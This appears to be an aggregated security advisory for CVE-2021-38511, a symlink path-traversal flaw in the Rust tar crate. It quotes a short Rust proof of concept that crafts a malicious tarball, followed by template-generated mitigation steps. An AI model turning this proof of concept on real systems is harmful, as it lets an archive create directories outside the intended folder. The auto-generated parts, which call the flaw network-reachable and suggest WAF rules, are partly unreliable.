Vulnerability in tar (CVE-2021-38511)

Summary

Vulnerability in tar (CVE-2021-38511). Data can be tampered with by attackers. Exploitable via tar. Mitigation: upgrade to 0.4.36 or later.

Original description

The description as published by the source.

When unpacking a tarball that contains a symlink the tar crate may create
directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are
already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is
published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for
discovering and reporting this, and Nikhil Benesch (@benesch) for
the fix!

Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2021-38511 has been found in tar.
Attackers can target a specific entry point like tar over the network to misuse the product.
Data can be tampered with by attackers.
What to do: upgrade tar to 0.4.36 or later.
If unsure, ask your IT team or search "tar CVE-2021-38511" on the vendor's site.

CVE-2021-38511 (tar)
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: tar
Patched: 0.4.36 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (unclassified) exists in tar. Attackers reach the vulnerable code path via tar without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of tar. Attack surface: tar.

🔥 Severity

Severity: ?. Data can be tampered with by attackers.

🔧 How to fix

Update to 0.4.36.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'tar' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

1
Identify exposure identify
```
grep -r 'tar' . | grep -v node_modules
```
リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で tar を grep し、稼働しているサービス・バージョンを把握する。
2
Apply patch patch
```
Upgrade tar to 0.4.36
```
ステージング環境で 0.4.36 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
3
Post-deployment verification verify
```
Confirm patched version is live in production
```
パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

crates.io tar

[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.4.36"}]}]

Fix status by distribution

Fixed packages published by each distribution for this CVE

Debian DEBIAN-CVE-2021-38511 rust-tar Fixed in: 0.4.37-1
Ubuntu UBUNTU-CVE-2021-38511 rust-tar

References

advisory rustsec.org
package crates.io
report github.com